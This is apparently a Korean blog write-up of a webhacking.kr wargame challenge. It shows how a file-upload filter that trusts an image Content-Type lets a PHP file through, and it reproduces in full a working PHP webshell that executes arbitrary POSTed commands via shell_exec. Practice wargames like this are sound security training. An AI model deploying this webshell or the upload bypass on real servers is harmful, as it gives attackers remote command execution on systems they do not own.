문제에서 바로 webshell을 업로드하라고 합니다.
파일을 업로드하려고 하면 php 파일이든 어떤 파일이든 일단은 wrong type을 출력했습니다.
올바른 타입은 확장자로 필터링하는 게 아닌가 하여 쭉 업로드해보는 과정에서 .raw 파일은 업로드가 가능하였습니다.
raw 파일은 Content-Type이 image/raw이기 때문에 가능한 것으로 보입니다.
image 파일에 대한 Content-Type은 필터가 이루어지지 않은것으로 보아 해당 타입으로 PHP 소스를 업로드해보면 Webshell이 잘 업로드되는 것을 확인할 수 있습니다.
업로드된 웹쉘로 파일을 읽어보면 플래그가 나옵니다.
제 코드는 아니지만 제가 기본적으로 활용하는 Simple PHP Webshell 코드입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
<?php if (! empty ( $_POST [ 'cmd' ])) { $cmd = shell_exec ( $_POST [ 'cmd' ]); } ?> <! DOCTYPE html> < html > <!-- By Artyum (https://github.com/artyuum) --> < head > < meta charset = "utf-8" > < meta http-equiv = "X-UA-Compatible" content = "IE=edge" > < meta name = "viewport" content = "width=device-width, initial-scale=1" > < link rel = "stylesheet" type = "text/css" href = "//bootswatch.com/4/flatly/bootstrap.min.css" > < title >Web Shell</ title > < style > h2 { color: rgba(0, 0, 0, .75); } pre { padding: 15px; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; background-color: #ECF0F1; } .container { width: 850px; } </ style > </ head > < body > < div class = "container" > < div class = "pb-2 mt-4 mb-2" > < h1 >PHP Shell</ h1 > < h2 > Execute a command </ h2 > </ div > < form method = "POST" > < div class = "form-group" > < label for = "cmd" >< strong >Command</ strong ></ label > < input type = "text" class = "form-control" name = "cmd" id = "cmd" value=" <?= htmlspecialchars( $_POST [ 'cmd' ], ENT_QUOTES, 'UTF-8' ) ?> " required> </ div > < button type = "submit" class = "btn btn-primary" >Execute</ button > </ form > <?php if ( $cmd ): ?> < div class = "pb-2 mt-4 mb-2" > < h2 > Output </ h2 > </ div > < pre > <?= htmlspecialchars( $cmd , ENT_QUOTES, 'UTF-8' ) ?> </ pre > <?php elseif (! $cmd && $_SERVER [ 'REQUEST_METHOD' ] == 'POST' ): ?> < div class = "pb-2 mt-4 mb-2" > < h2 > Output </ h2 > </ div > < pre >< small >No result.</ small ></ pre > <?php endif ; ?> </ div > </ body > </ html > |
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No46(300) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |
Webhacking.kr_No41(250) - old (0) | 2020.01.08 |
Webhacking.kr_No40(500) - old (0) | 2020.01.08 |
Webhacking.kr_No39(100) - old (0) | 2020.01.07 |